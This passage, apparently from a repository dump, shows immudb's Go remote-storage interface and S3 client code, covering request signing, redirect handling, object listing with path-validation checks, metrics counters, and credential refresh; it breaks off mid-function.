\"path/subPath\")\n\t\trequire.ErrorIs(t, err, ErrInvalidArguments)\n\n\t\terr = storage.RemoveAll(context.Background(), \"path/subPath/\")\n\t\trequire.NoError(t, err)\n\n\t\tentries, sub, err := storage.ListEntries(context.Background(), \"path/\")\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, entries, 2)\n\t\trequire.Empty(t, sub)\n\n\t\trequire.Equal(t, entries, []remotestorage.EntryInfo{\n\t\t\t{Name: \"file1\", Size: 0},\n\t\t\t{Name: \"file2\", Size: 3},\n\t\t})\n\t})\n}\n"
  },
  {
    "path": "embedded/remotestorage/remote_storage.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage remotestorage\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"io\"\n)\n\nvar (\n\tErrNotFound = errors.New(\"object not found\")\n)\n\ntype EntryInfo struct {\n\tName string\n\tSize int64\n}\n\ntype Storage interface {\n\t// Kind returns the kind of remote storage, e.g. `s3`\n\tKind() string\n\n\t// String returns a human-readable representation of the storage\n\tString() string\n\n\t// Get opens a remote resource, if size < 0, read as much as possible\n\tGet(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error)\n\n\t// Put saves a local file to a remote storage\n\tPut(ctx context.Context, name string, fileName string) error\n\n\t// Remove deletes a remote object\n\tRemove(ctx context.Context, name string) error\n\n\t// RemoveAll deletes all remote objects contained in a folder\n\tRemoveAll(ctx context.Context, path string) error\n\n\t// Exists checks if a remote resource exists and can be read.\n\t// Note that due to an asynchronous nature of cluod storage,\n\t// a resource stored with the Put method may not be immediately accessible.\n\tExists(ctx context.Context, name string) (bool, error)\n\n\t// ListEntries list all entries available in the remote storage,\n\t// Entries must be sorted alphabetically\n\tListEntries(ctx context.Context, path string) (entries []EntryInfo, subPaths []string, err error)\n}\n"
  },
  {
    "path": "embedded/remotestorage/s3/metrics.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage s3\n\nimport (\n\t\"io\"\n\n\t\"github.com/prometheus/client_golang/prometheus\"\n\t\"github.com/prometheus/client_golang/prometheus/promauto\"\n)\n\nvar (\n\tmetricsUploadBytes = promauto.NewCounter(prometheus.CounterOpts{\n\t\tName: \"immudb_remoteapp_s3_upload_bytes\",\n\t\tHelp: \"Number data bytes (excluding headers) uploaded to s3\",\n\t})\n\n\tmetricsDownloadBytes = promauto.NewCounter(prometheus.CounterOpts{\n\t\tName: \"immudb_remoteapp_s3_download_bytes\",\n\t\tHelp: \"Number data bytes (excluding headers) downloaded from s3\",\n\t})\n)\n\ntype metricsCountingReadCloser struct {\n\tr io.ReadCloser\n\tc prometheus.Counter\n}\n\nfunc (m *metricsCountingReadCloser) Read(b []byte) (int, error) {\n\tn, err := m.r.Read(b)\n\tm.c.Add(float64(n))\n\treturn n, err\n}\n\nfunc (m *metricsCountingReadCloser) Close() error {\n\treturn m.r.Close()\n}\n"
  },
  {
    "path": "embedded/remotestorage/s3/s3.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage s3\n\nimport (\n\t\"context\"\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"encoding/xml\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/remotestorage\"\n)\n\ntype Storage struct {\n\tendpoint      string\n\tS3RoleEnabled bool\n\ts3Role        string\n\taccessKeyID   string\n\tsecretKey     string\n\tbucket        string\n\tprefix        string\n\tlocation      string\n\thttpClient    *http.Client\n\tsessionToken  string\n\t\n\tawsInstanceMetadataURL string\n\tawsCredsRefreshPeriod  time.Duration\n\n\tuseFargateCredentials bool\n}\n\nvar (\n\tErrInvalidArguments               = errors.New(\"invalid arguments\")\n\tErrKeyCredentialsProvided         = errors.New(\"remote storage configuration already includes access key and/or secret key\")\n\tErrCredentialsCannotBeFound       = errors.New(\"cannot find credentials based on instance role remote storage\")\n\tErrInvalidArgumentsOffsSize       = fmt.Errorf(\"%w: negative offset or zero size\", ErrInvalidArguments)\n\tErrInvalidArgumentsNameStartSlash = fmt.Errorf(\"%w: name can not start with /\", ErrInvalidArguments)\n\tErrInvalidArgumentsNameEndSlash   = fmt.Errorf(\"%w: name can not end with /\", ErrInvalidArguments)\n\tErrInvalidArgumentsInvalidName    = fmt.Errorf(\"%w: invalid name\", ErrInvalidArguments)\n\tErrInvalidArgumentsPathNoEndSlash = fmt.Errorf(\"%w: path must end with /\", ErrInvalidArguments)\n\tErrInvalidArgumentsBucketSlash    = fmt.Errorf(\"%w: bucket name can not contain / character\", ErrInvalidArguments)\n\tErrInvalidArgumentsBucketEmpty    = fmt.Errorf(\"%w: bucket name can not be empty\", ErrInvalidArguments)\n\n\tErrInvalidResponse                     = errors.New(\"invalid response code\")\n\tErrInvalidResponseXmlDecodeError       = fmt.Errorf(\"%w: xml decode error\", ErrInvalidResponse)\n\tErrInvalidResponseEntriesNotSorted     = fmt.Errorf(\"%w: entries are not sorted\", ErrInvalidResponse)\n\tErrInvalidResponseEntryNameWrongPrefix = fmt.Errorf(\"%w: entry do not have correct prefix\", ErrInvalidResponse)\n\tErrInvalidResponseEntryNameMalicious   = fmt.Errorf(\"%w: entry name contains invalid characters\", ErrInvalidResponse)\n\tErrInvalidResponseEntryNameUnescape    = fmt.Errorf(\"%w: error un-escaping object name\", ErrInvalidResponse)\n\tErrInvalidResponseSubPathsNotSorted    = fmt.Errorf(\"%w: sub-paths are not sorted\", ErrInvalidResponse)\n\tErrInvalidResponseSubPathsWrongPrefix  = fmt.Errorf(\"%w: sub-paths do not have correct prefix\", ErrInvalidResponse)\n\tErrInvalidResponseSubPathsWrongSuffix  = fmt.Errorf(\"%w: sub-paths do end with '/' suffix\", ErrInvalidResponse)\n\tErrInvalidResponseSubPathMalicious     = fmt.Errorf(\"%w: sub-paths contain invalid characters\", ErrInvalidResponse)\n\tErrInvalidResponseSubPathUnescape      = fmt.Errorf(\"%w: error un-escaping object name\", ErrInvalidResponse)\n\n\tErrTooManyRedirects = errors.New(\"too many redirects\")\n\n\tarnRoleRegex = regexp.MustCompile(`arn:.*\\/(.*)`)\n)\n\nconst maxRedirects = 5\n\nfunc Open(\n\tendpoint string,\n\tS3RoleEnabled bool,\n\ts3Role string,\n\taccessKeyID string,\n\tsecretKey string,\n\tbucket string,\n\tlocation string,\n\tprefix string,\n\tawsInstanceMetadataURL string,\n\tuseFargateCredentials bool,\n) (remotestorage.Storage, error) {\n\n\t// Endpoint must always end with '/'\n\tendpoint = strings.TrimRight(endpoint, \"/\") + \"/\"\n\n\t// Bucket must have no '/' at all\n\tbucket = strings.Trim(bucket, \"/\")\n\tif strings.Contains(bucket, \"/\") {\n\t\treturn nil, ErrInvalidArgumentsBucketSlash\n\t}\n\n\t// Bucket name must not be empty\n\tif bucket == \"\" {\n\t\treturn nil, ErrInvalidArgumentsBucketEmpty\n\t}\n\n\t// if prefix is not empty, it must end with '/'\n\tprefix = strings.Trim(prefix, \"/\")\n\tif prefix != \"\" {\n\t\tprefix = prefix + \"/\"\n\t}\n\n\ts3storage := &Storage{\n\t\tendpoint:      endpoint,\n\t\tS3RoleEnabled: S3RoleEnabled,\n\t\ts3Role:        s3Role,\n\t\taccessKeyID:   accessKeyID,\n\t\tsecretKey:     secretKey,\n\t\tbucket:        bucket,\n\t\tlocation:      location,\n\t\tprefix:        prefix,\n\t\thttpClient: &http.Client{\n\t\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\t\treturn http.ErrUseLastResponse\n\t\t\t},\n\t\t},\n\t\tawsInstanceMetadataURL: awsInstanceMetadataURL,\n\t\tawsCredsRefreshPeriod:  time.Minute,\n\t\tuseFargateCredentials:     useFargateCredentials,\n\t}\n\n\terr := s3storage.getRoleCredentials()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn s3storage, nil\n}\n\nfunc (s *Storage) Kind() string {\n\treturn \"s3\"\n}\n\nfunc (s *Storage) String() string {\n\turl, err := s.originalRequestURL(\"\")\n\tif err != nil {\n\t\treturn \"s3(misconfigured)\"\n\t}\n\treturn \"s3:\" + url\n}\n\nfunc (s *Storage) originalRequestURL(objectName string) (string, error) {\n\treqURL, err := url.Parse(fmt.Sprintf(\"%s%s%s\",\n\t\ts.endpoint,\n\t\ts.prefix,\n\t\tobjectName,\n\t))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif !strings.HasPrefix(reqURL.Host, s.bucket+\".\") {\n\t\treqURL.Path = \"/\" + s.bucket + reqURL.Path\n\t}\n\n\treturn reqURL.String(), nil\n}\n\nfunc (s *Storage) s3SignedRequest(\n\tctx context.Context,\n\turl string,\n\tmethod string,\n\tbody io.Reader,\n\tcontentType string,\n\tsetupRequest func(req *http.Request) error,\n\tdate time.Time,\n) (\n\t*http.Request,\n\terror,\n) {\n\tif s.location == \"\" {\n\t\t// Missing location configuration, try V2 signatures that don't require it\n\t\treturn s.s3SignedRequestV2(ctx, url, method, body, contentType, setupRequest, date)\n\t}\n\n\treturn s.s3SignedRequestV4(ctx, url, method, body, contentType, \"\", setupRequest, date)\n}\n\nfunc (s *Storage) s3SignedRequestV4(\n\tctx context.Context,\n\treqUrl string,\n\tmethod string,\n\tbody io.Reader,\n\tcontentType string,\n\tcontentSha256 string,\n\tsetupRequest func(req *http.Request) error,\n\tt time.Time,\n) (\n\t*http.Request,\n\terror,\n) {\n\tconst authorization = \"AWS4-HMAC-SHA256\"\n\tconst unsignedPayload = \"UNSIGNED-PAYLOAD\"\n\tconst serviceName = \"s3\"\n\n\treq, err := http.NewRequestWithContext(ctx, method, reqUrl, body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = setupRequest(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttimeISO8601 := t.Format(\"20060102T150405Z\")\n\ttimeYYYYMMDD := t.Format(\"20060102\")\n\tscope := timeYYYYMMDD + \"/\" + s.location + \"/\" + serviceName + \"/aws4_request\"\n\tcredential := s.accessKeyID + \"/\" + scope\n\n\tif contentSha256 == \"\" {\n\t\tcontentSha256 = unsignedPayload\n\t}\n\n\treq.Header.Set(\"X-Amz-Date\", timeISO8601)\n\treq.Header.Set(\"X-Amz-Content-Sha256\", contentSha256)\n\n\tif s.S3RoleEnabled {\n\t\treq.Header.Set(\"X-Amz-Security-Token\", s.sessionToken)\n\t}\n\n\tif contentType != \"\" {\n\t\treq.Header.Set(\"Content-Type\", contentType)\n\t}\n\n\tcanonicalURI := req.URL.Path // TODO: This may require some encoding\n\tcanonicalQueryString := req.URL.Query().Encode()\n\n\tsignerHeadersList := []string{\"host\"}\n\tfor h := range req.Header {\n\t\tsignerHeadersList = append(signerHeadersList, strings.ToLower(h))\n\t}\n\tsort.Strings(signerHeadersList)\n\tsignedHeaders := strings.Join(signerHeadersList, \";\")\n\tcanonicalHeaders := \"\"\n\tfor _, h := range signerHeadersList {\n\t\tif h == \"host\" {\n\t\t\tcanonicalHeaders = canonicalHeaders + h + \":\" + req.Host + \"\\n\"\n\t\t} else {\n\t\t\tcanonicalHeaders = canonicalHeaders + h + \":\" + req.Header.Get(h) + \"\\n\"\n\t\t}\n\t}\n\n\tcanonicalRequest := strings.Join([]string{\n\t\treq.Method,\n\t\tcanonicalURI,\n\t\tcanonicalQueryString,\n\t\tcanonicalHeaders,\n\t\tsignedHeaders,\n\t\tcontentSha256,\n\t}, \"\\n\")\n\tcanonicalRequestHash := sha256.Sum256([]byte(canonicalRequest))\n\n\tstringToSign := authorization + \"\\n\" +\n\t\ttimeISO8601 + \"\\n\" +\n\t\tscope + \"\\n\" +\n\t\thex.EncodeToString(canonicalRequestHash[:])\n\n\thmacSha256 := func(key []byte, data []byte) []byte {\n\t\th := hmac.New(sha256.New, key)\n\t\th.Write(data)\n\t\treturn h.Sum(nil)\n\t}\n\n\tdateKey := hmacSha256([]byte(\"AWS4\"+s.secretKey), []byte(timeYYYYMMDD))\n\tdateRegionKey := hmacSha256(dateKey, []byte(s.location))\n\tdateRegionServiceKey := hmacSha256(dateRegionKey, []byte(serviceName))\n\tsigningKey := hmacSha256(dateRegionServiceKey, []byte(\"aws4_request\"))\n\n\tsignature := hex.EncodeToString(hmacSha256(signingKey, []byte(stringToSign)))\n\n\treq.Header.Set(\"Authorization\", fmt.Sprintf(\n\t\t\"%s Credential=%s,SignedHeaders=%s,Signature=%s\",\n\t\tauthorization,\n\t\tcredential,\n\t\tsignedHeaders,\n\t\tsignature,\n\t))\n\n\treturn req, nil\n}\n\nfunc (s *Storage) s3SignedRequestV2(\n\tctx context.Context,\n\turl string,\n\tmethod string,\n\tbody io.Reader,\n\tcontentType string,\n\tsetupRequest func(req *http.Request) error,\n\tt time.Time,\n) (\n\t*http.Request,\n\terror,\n) {\n\treq, err := http.NewRequestWithContext(ctx, method, url, body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = setupRequest(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdate := t.Format(http.TimeFormat)\n\treq.Header.Set(\"Date\", date)\n\tif contentType != \"\" {\n\t\treq.Header.Set(\"Content-Type\", contentType)\n\t}\n\n\tsignedPath := req.URL.Path\n\tif strings.HasPrefix(req.Host, s.bucket+\".\") {\n\t\t// Bucket name is passed through the domain name,\n\t\t// the signature however does take this bucked into account\n\t\tsignedPath = \"/\" + s.bucket + signedPath\n\t}\n\n\tmac := hmac.New(sha1.New, []byte(s.secretKey))\n\tfmt.Fprintf(mac, \"%s\\n\\n%s\\n%s\\n%s\", method, contentType, date, signedPath)\n\tsignature := base64.StdEncoding.EncodeToString(mac.Sum(nil))\n\n\treq.Header.Set(\n\t\t\"Authorization\",\n\t\tfmt.Sprintf(\"AWS %s:%s\", s.accessKeyID, signature),\n\t)\n\n\treturn req, nil\n}\n\nfunc (s *Storage) validateName(name string, isFolder bool) error {\n\tif strings.HasPrefix(name, \"/\") {\n\t\treturn ErrInvalidArgumentsNameStartSlash\n\t}\n\tif isFolder && name != \"\" && !strings.HasSuffix(name, \"/\") {\n\t\t// The path must end with `/` so that we don't match entries in parent directory with same prefix name\n\t\t// e.g. when scanning /some/entry directory it must not match /some/entry-file object name.\n\t\t// That's because in s3, the scan is prefix-based without clear notion of directories.\n\t\treturn ErrInvalidArgumentsPathNoEndSlash\n\t}\n\tif !isFolder && strings.HasSuffix(name, \"/\") {\n\t\treturn ErrInvalidArgumentsNameEndSlash\n\t}\n\tif strings.Contains(name, \"//\") {\n\t\treturn ErrInvalidArgumentsInvalidName\n\t}\n\tif strings.Contains(\"/\"+name, \"/./\") || strings.Contains(\"/\"+name, \"/../\") {\n\t\treturn ErrInvalidArgumentsInvalidName\n\t}\n\treturn nil\n}\n\n// Get opens a remote s3 resource\nfunc (s *Storage) Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) {\n\tif offs < 0 || size == 0 {\n\t\treturn nil, ErrInvalidArgumentsOffsSize\n\t}\n\terr := s.validateName(name, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\turl, err := s.originalRequestURL(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp, err := s.requestWithRedirects(\n\t\tctx,\n\t\t\"GET\",\n\t\turl,\n\t\t[]int{200, 206},\n\t\tfunc() (io.Reader, string, error) { return nil, \"\", nil },\n\t\tfunc(req *http.Request) error {\n\t\t\tlog.Printf(\"S3 %s %s range: %d %d\",\n\t\t\t\treq.Method,\n\t\t\t\treq.URL,\n\t\t\t\toffs, size,\n\t\t\t)\n\t\t\tif size < 0 {\n\t\t\t\treq.Header.Set(\"Range\", fmt.Sprintf(\"bytes=%d-\", offs))\n\t\t\t} else {\n\t\t\t\treq.Header.Set(\"Range\", fmt.Sprintf(\"bytes=%d-%d\", offs, offs+size-1))\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &metricsCountingReadCloser{\n\t\tr: resp.Body,\n\t\tc: metricsDownloadBytes,\n\t}, nil\n}\n\nfunc (s *Storage) requestWithRedirects(\n\tctx context.Context,\n\tmethod string,\n\treqURL string,\n\tvalidStatusCodes []int,\n\tprepareData func() (io.Reader, string, error),\n\tsetupRequest func(req *http.Request) error,\n\n) (*http.Response, error) {\n\n\tfor i := 0; i < maxRedirects; i++ {\n\n\t\tdata, contentType, err := prepareData()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treq, err := s.s3SignedRequest(\n\t\t\tctx,\n\t\t\treqURL,\n\t\t\tmethod,\n\t\t\tdata,\n\t\t\tcontentType,\n\t\t\tsetupRequest,\n\t\t\ttime.Now().UTC(),\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tlog.Printf(\"S3 %s %s\", req.Method, req.URL)\n\t\tresp, err := s.httpClient.Do(req)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"S3 %s %s failed: %v\", req.Method, req.URL, err)\n\t\t\treturn nil, fmt.Errorf(\"%w: %v\", ErrInvalidResponse, err)\n\t\t}\n\n\t\tfor _, validStatus := range validStatusCodes {\n\t\t\tif resp.StatusCode == validStatus {\n\t\t\t\tlog.Printf(\"S3 %s %s %s\", req.Method, req.URL, resp.Status)\n\t\t\t\treturn resp, nil\n\t\t\t}\n\t\t}\n\t\tresp.Body.Close()\n\n\t\tswitch resp.StatusCode {\n\t\tcase 303:\n\t\t\treqURL, err = s.parseRedirect(req, resp)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// Switch to simple GET request\n\t\t\tmethod = \"GET\"\n\t\t\tprepareData = func() (io.Reader, string, error) { return nil, \"\", nil }\n\t\t\tsetupRequest = func(req *http.Request) error { return nil }\n\n\t\t\tlog.Printf(\"S3 %s redirect to GET %s\", req.Method, reqURL)\n\n\t\tcase 301, 302, 307, 308:\n\t\t\treqURL, err = s.parseRedirect(req, resp)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tlog.Printf(\"S3 %s redirect to %s\", req.Method, reqURL)\n\n\t\tdefault:\n\t\t\tlog.Printf(\n\t\t\t\t\"S3 %s %s failed with status code %d (%s)\",\n\t\t\t\treq.Method,\n\t\t\t\treq.URL,\n\t\t\t\tresp.StatusCode,\n\t\t\t\tresp.Status,\n\t\t\t)\n\t\t\treturn nil, fmt.Errorf(\n\t\t\t\t\"%w: request failed with status code %d (%s)\",\n\t\t\t\tErrInvalidResponse, resp.StatusCode, resp.Status,\n\t\t\t)\n\t\t}\n\t}\n\tlog.Printf(\"S3 %s %s failed - too many redirects\", method, reqURL)\n\treturn nil, ErrTooManyRedirects\n}\n\nfunc (s *Storage) parseRedirect(req *http.Request, resp *http.Response) (string, error) {\n\tlocationURL, err := url.Parse(resp.Header.Get(\"Location\"))\n\tif err != nil {\n\t\tlog.Printf(\n\t\t\t\"S3 %s %s failed: invalid `Location` header: '%s' when doing redirection\",\n\t\t\treq.Method,\n\t\t\treq.URL,\n\t\t\treq.Header.Get(\"Location\"),\n\t\t)\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"%w: failed to parse Location header %q: %v\",\n\t\t\tErrInvalidResponse,\n\t\t\treq.Header.Get(\"Location\"),\n\t\t\terr,\n\t\t)\n\t}\n\n\treturn req.URL.ResolveReference(locationURL).String(), nil\n}\n\n// Put writes a remote s3 resource\nfunc (s *Storage) Put(ctx context.Context, name string, fileName string) error {\n\terr := s.validateName(name, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// S3 is using 307 redirects that must preserve POST body,\n\t// this can not be handled by the http go module because it requires reopening the reader\n\n\tputURL, err := s.originalRequestURL(name)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfl, err := os.Open(fileName)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer fl.Close()\n\tflStat, err := fl.Stat()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresp, err := s.requestWithRedirects(\n\t\tctx,\n\t\t\"PUT\",\n\t\tputURL,\n\t\t[]int{200},\n\t\tfunc() (io.Reader, string, error) {\n\t\t\t_, err := fl.Seek(0, io.SeekStart)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, \"\", err\n\t\t\t}\n\t\t\treturn &metricsCountingReadCloser{\n\t\t\t\t\tr: ioutil.NopCloser(fl),\n\t\t\t\t\tc: metricsUploadBytes,\n\t\t\t\t},\n\t\t\t\t\"application/octet-stream\",\n\t\t\t\tnil\n\t\t},\n\t\tfunc(req *http.Request) error {\n\t\t\treq.ContentLength = flStat.Size()\n\t\t\treturn nil\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp.Body.Close()\n\treturn nil\n}\n\nfunc (s *Storage) Remove(ctx context.Context, name string) error {\n\terr := s.validateName(name, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdeleteURL, err := s.originalRequestURL(name)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresp, err := s.requestWithRedirects(\n\t\tctx,\n\t\t\"DELETE\",\n\t\tdeleteURL,\n\t\t[]int{204},\n\t\tfunc() (io.Reader, string, error) {\n\t\t\treturn nil, \"\", nil\n\t\t},\n\t\tfunc(req *http.Request) error { return nil },\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp.Body.Close()\n\treturn nil\n}\n\nfunc (s *Storage) RemoveAll(ctx context.Context, folder string) error {\n\terr := s.validateName(folder, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tentries, subFolders, err := s.ListEntries(ctx, folder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, e := range entries {\n\t\terr := s.Remove(ctx, folder+e.Name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tfor _, subFolder := range subFolders {\n\t\terr := s.RemoveAll(ctx, folder+subFolder+\"/\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// Exists checks if a remote resource exists and can be read.\n// Note that due to an asynchronous nature of cloud storage,\n// a resource stored with the Put method may not be immediately accessible.\nfunc (s *Storage) Exists(ctx context.Context, name string) (bool, error) {\n\terr := s.validateName(name, false)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tentries, _, err := s.scanObjectNames(ctx, name, 1)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t// We're looking for all entries with the prefix, since those\n\t// are sorted alphabetically, if there's an entry with exact\n\t// name, it would be the first one returned.\n\t// Since the `scanObjectNames` strips out the path prefix,\n\t// the entry with the exact name will be returned with an empty name.\n\tif len(entries) > 0 && entries[0].Name == \"\" {\n\t\treturn true, nil\n\t}\n\n\treturn false, nil\n}\n\nfunc (s *Storage) ListEntries(ctx context.Context, path string) ([]remotestorage.EntryInfo, []string, error) {\n\terr := s.validateName(path, true)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn s.scanObjectNames(ctx, path, 0)\n}\n\nfunc (s *Storage) scanObjectNames(ctx context.Context, prefix string, limit int) ([]remotestorage.EntryInfo, []string, error) {\n\tprefix = s.prefix + prefix\n\n\tbaseUrl, err := s.originalRequestURL(\"\")\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// Path for the list operation is passed through query parameters\n\tbaseUrl = strings.TrimSuffix(baseUrl, s.prefix)\n\n\turlValues := url.Values{}\n\turlValues.Set(\"list-type\", \"2\")\n\turlValues.Set(\"encoding-type\", \"url\")\n\turlValues.Set(\"delimiter\", \"/\")\n\turlValues.Set(\"prefix\", prefix)\n\turlValues.Set(\"encoding-type\", \"url\")\n\n\tif limit > 0 {\n\t\turlValues.Set(\"max-keys\", strconv.Itoa(limit))\n\t}\n\n\tentries := []remotestorage.EntryInfo{}\n\tsubPaths := []string{}\n\n\tfor i := 1; ; i++ {\n\t\tresp, err := s.requestWithRedirects(\n\t\t\tctx, \"GET\", baseUrl+\"?\"+urlValues.Encode(),\n\t\t\t[]int{200},\n\t\t\tfunc() (io.Reader, string, error) { return nil, \"\", nil },\n\t\t\tfunc(req *http.Request) error { return nil },\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tdefer resp.Body.Close()\n\n\t\trespParsed := struct {\n\t\t\tContents []struct {\n\t\t\t\tKey  string\n\t\t\t\tSize int64\n\t\t\t}\n\t\t\tCommonPrefixes        []struct{ Prefix string }\n\t\t\tIsTruncated           bool\n\t\t\tNextContinuationToken string\n\t\t}{}\n\n\t\terr = xml.NewDecoder(resp.Body).Decode(&respParsed)\n\t\tif err != nil {\n\t\t\treturn nil, nil, fmt.Errorf(\"%w: %v\", ErrInvalidResponseXmlDecodeError, err)\n\t\t}\n\n\t\tfor _, object := range respParsed.Contents {\n\t\t\tobjectName, err := url.QueryUnescape(object.Key)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, fmt.Errorf(\"%w: %v\", ErrInvalidResponseEntryNameUnescape, err)\n\t\t\t}\n\n\t\t\tif !strings.HasPrefix(objectName, prefix) {\n\t\t\t\treturn nil, nil, ErrInvalidResponseEntryNameWrongPrefix\n\t\t\t}\n\n\t\t\terr = s.validateName(objectName, false)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, ErrInvalidResponseEntryNameMalicious\n\t\t\t}\n\n\t\t\tobjectName = strings.TrimPrefix(objectName, prefix)\n\t\t\tif strings.Contains(objectName, \"/\") {\n\t\t\t\treturn nil, nil, ErrInvalidResponseEntryNameMalicious\n\t\t\t}\n\n\t\t\tentries = append(entries, remotestorage.EntryInfo{\n\t\t\t\tName: strings.TrimPrefix(objectName, prefix),\n\t\t\t\tSize: object.Size,\n\t\t\t})\n\t\t}\n\t\tfor _, subPath := range respParsed.CommonPrefixes {\n\t\t\tsubPathPrefix, err := url.QueryUnescape(subPath.Prefix)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, fmt.Errorf(\"%w: %v\", ErrInvalidResponseSubPathUnescape, err)\n\t\t\t}\n\n\t\t\tif !strings.HasPrefix(subPathPrefix, prefix) {\n\t\t\t\treturn nil, nil, ErrInvalidResponseSubPathsWrongPrefix\n\t\t\t}\n\t\t\tif !strings.HasSuffix(subPathPrefix, \"/\") {\n\t\t\t\treturn nil, nil, ErrInvalidResponseSubPathsWrongSuffix\n\t\t\t}\n\n\t\t\tp := subPathPrefix[len(prefix) : len(subPathPrefix)-1]\n\t\t\tif p == \".\" || p == \"..\" || strings.ContainsAny(p, \"\\\\/:\") {\n\t\t\t\t// Avoid exploitation by a malicious server\n\t\t\t\treturn nil, nil, ErrInvalidResponseSubPathMalicious\n\t\t\t}\n\n\t\t\tsubPaths = append(subPaths, p)\n\t\t}\n\n\t\tif !respParsed.IsTruncated {\n\t\t\tbreak\n\t\t}\n\n\t\turlValues.Set(\"continuation-token\", respParsed.NextContinuationToken)\n\t}\n\n\tif !sort.SliceIsSorted(entries, func(i, j int) bool { return entries[i].Name < entries[j].Name }) {\n\t\treturn nil, nil, ErrInvalidResponseEntriesNotSorted\n\t}\n\tif !sort.StringsAreSorted(subPaths) {\n\t\treturn nil, nil, ErrInvalidResponseSubPathsNotSorted\n\t}\n\n\treturn entries, subPaths, nil\n}\n\nfunc (s *Storage) getRoleCredentials() error {\n\tif !s.S3RoleEnabled {\n\t\treturn nil\n\t}\n\n\tvar err error\n\ts.accessKeyID, s.secretKey, s.sessionToken, err = s.requestCredentials()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts3CredentialsRefreshTicker := time.NewTicker(s.awsCredsRefreshPeriod)\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase _ = <-s3CredentialsRefreshTicker.C:\n\t\t\t\taccessKeyID, secretKey, sessionToken, err := s.requestCredentials()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"S3 role credentials lookup failed with an error: %v\", err)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\ts.accessKeyID, s.secretKey, s.sessionToken = accessKeyID, secretKey, sessionToken\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn nil\n}\n\nfunc (s *Storage) requestCredentials() (string, string, string, error) {\n\tif s.useFargateCredentials {\n\t\t// Use 